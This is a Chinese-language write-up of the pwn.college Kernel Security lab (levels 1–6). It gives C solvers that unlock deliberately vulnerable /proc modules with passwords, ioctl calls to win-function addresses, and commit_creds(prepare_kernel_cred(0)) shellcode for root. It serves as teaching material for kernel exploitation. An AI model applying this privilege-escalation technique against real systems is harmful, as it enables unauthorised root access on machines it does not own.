Pwn College Kernel Security实验详解(level1~level6)
Ba1_Ma0 发表于 四川 历史精选 1772浏览 · 2024-09-06 06:40

实验地址:

https://pwn.college/system-security/kernel-security/

点击start启动环境后,进入GUI Desktop Workspace界面


每个环境需要破解的内核模块都放在根目录的challenge目录下

level 1.0


使用ida分析这个文件


device_write函数将用户的输入的密码与snceewqvyntlwfha字符串进行对比,很明显,这一串字符就是密码


device_read函数处校验了用户输入的密码,如果密码正确则输出flag,flag在根目录下,只有root用户能读取


载入这个内核模块后,它会在proc目录下生成一个名为pwncollege接口


输入vm connect启动环境


pwncollege接口正在等待用户输入密码


编写程序,调用write函数传入密码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "snceewqvyntlwfha";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    close(fd);

    return EXIT_SUCCESS;
}

编译后直接运行程序


查看内核日志,可以看到成功写入了数据,写入的数据长度为16字节(与密码长度一致)


查看pwncollege,获得flag

level 1.1


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


和level1.0功能一样


编写程序,传入密码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "bbhlnbpoisiduufx";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    close(fd);

    return EXIT_SUCCESS;
}


查看接口,获得flag

leve 2.0


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


在这个内核模块中没有device_read函数,直接查看pwncollege接口,会显示输入输出错误


但是会在内核日志里输出flag


其他的功能与level1,1.1一样


编写程序,传入参数

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "yjtvotvfhmaybgnh";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    close(fd);

    return EXIT_SUCCESS;
}


查看内核日志即可看到flag

level 2.1


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


其他功能和level 2.0一样

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "dmmwsghycbuooaja";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    close(fd);

    return EXIT_SUCCESS;
}


查看内核日志,获取flag

level 3.0


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


输入密码正确则进入win函数


这个函数存在提权的功能


编写程序,传入密码,获取flag

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "dylgcsgflojsupql";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 3.1

功能都是一样的,就不多演示了


编写程序,传入密码,获得flag

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "uhgodmeakdsthjfj";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 4.0


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


调用的不是write函数,而是ioctl函数了,输入密码正确则进入win函数,只不过还需要传递cmd = 1337,才会进入if判断


win函数为提权函数


编写程序,传入密码,获取flag

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    char *password = "pupqprwamavtwcxq";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, password);
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 4.1

与level 4.0一样,就不多说了

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    char *password = "pkrnvpxjhribcxwl";
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, password);
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 5.0

先选择实验(Practice),sudo su提升到root权限后直接查看/proc/kallsyms文件找到win函数完整地址


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口

在device_ioctl功能里,需要传递cmd = 1337,才会进入if判断,然后执行用户输入的指针,将win函数地址输入,内核模块执行arg()时就会跳转到win函数地址处,root权限查看/proc/kallsyms文件找到win函数地址为0xffffffffc000093d

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, 0xffffffffc000093d);
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 5.1

和level 5.0一样

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    ssize_t written;

    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, 0xffffffffc0000F62);
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

level 6.0

进入实验


使用ida分析内核模块,载入内核后会在proc目录下创建一个名为pwncollege的接口


device_write函数中,直接使用 copy_from_user函数将用户的输入传入了内核中,然后执行了用户输入


选择实验(Practice)提升到root权限,sudo su,再cat /proc/kallsyms文件搜索内核函数

prepare_kernel_cred函数地址:

0xffffffff810890d0

commit_creds函数地址:

0xffffffff81088d90

执行commit_creds(prepare_kernel_cred(0));的汇编代码

push rsi                  ; 将 RSI 寄存器的值压入栈
mov rsi, 0xffffffff810890d0 ; 将 64 位常数加载到 RSI 寄存器
push rdi                  ; 将 RDI 寄存器的值压入栈
xor rdi, rdi              ; 将 RDI 寄存器置零
call rsi                  ; 调用 RSI 中存储的地址
mov rdi, rax              ; 将 RAX 寄存器的值复制到 RDI 寄存器
mov rsi, ffffffff81088d90 ; 将另一个 64 位常数加载到 RSI 寄存器
call rsi                  ; 调用 RSI 中存储的地址
pop rdi                   ; 从栈中弹出 RDI 寄存器的值
pop rsi                   ; 从栈中弹出 RSI 寄存器的值
ret                       ; 返回

转换为机械码:
https://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=push+rsi%0D%0Amov+rsi%2C+0xffffffff810890d0%0D%0Apush+rdi%0D%0Axor+rdi%2C+rdi%0D%0Acall+rsi%0D%0Amov+rdi%2C+rax%0D%0Amov+rsi%2C+ffffffff81088d90%0D%0Acall+rsi%0D%0Apop+rdi%0D%0Apop+rsi%0D%0Aret&arch=x86-64&as_format=inline#assembly

\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3

编写程序,提升权限,查看flag

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;

    char shellcode[] = "\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3";

    fd = open(DEVICE_PATH, O_WRONLY);
    write(fd, shellcode, strlen(shellcode));
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

成功输出flag后,进入实战环境,直接运行程序即可

level 6.1

流程与level 6.0一样,就是commit_creds函数和prepare_kernel_cred函数地址不一样而已,找一下再写进去即可

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;

    char shellcode[] = "\x56\x48\xc7\xc6\xd0\x90\x08\x81\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xc7\xc6\x90\x8d\x08\x81\xff\xd6\x5f\x5e\xc3";

    fd = open(DEVICE_PATH, O_WRONLY);
    write(fd, shellcode, strlen(shellcode));
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);

    return EXIT_SUCCESS;
}

0 条评论
某人
表情
可输入 255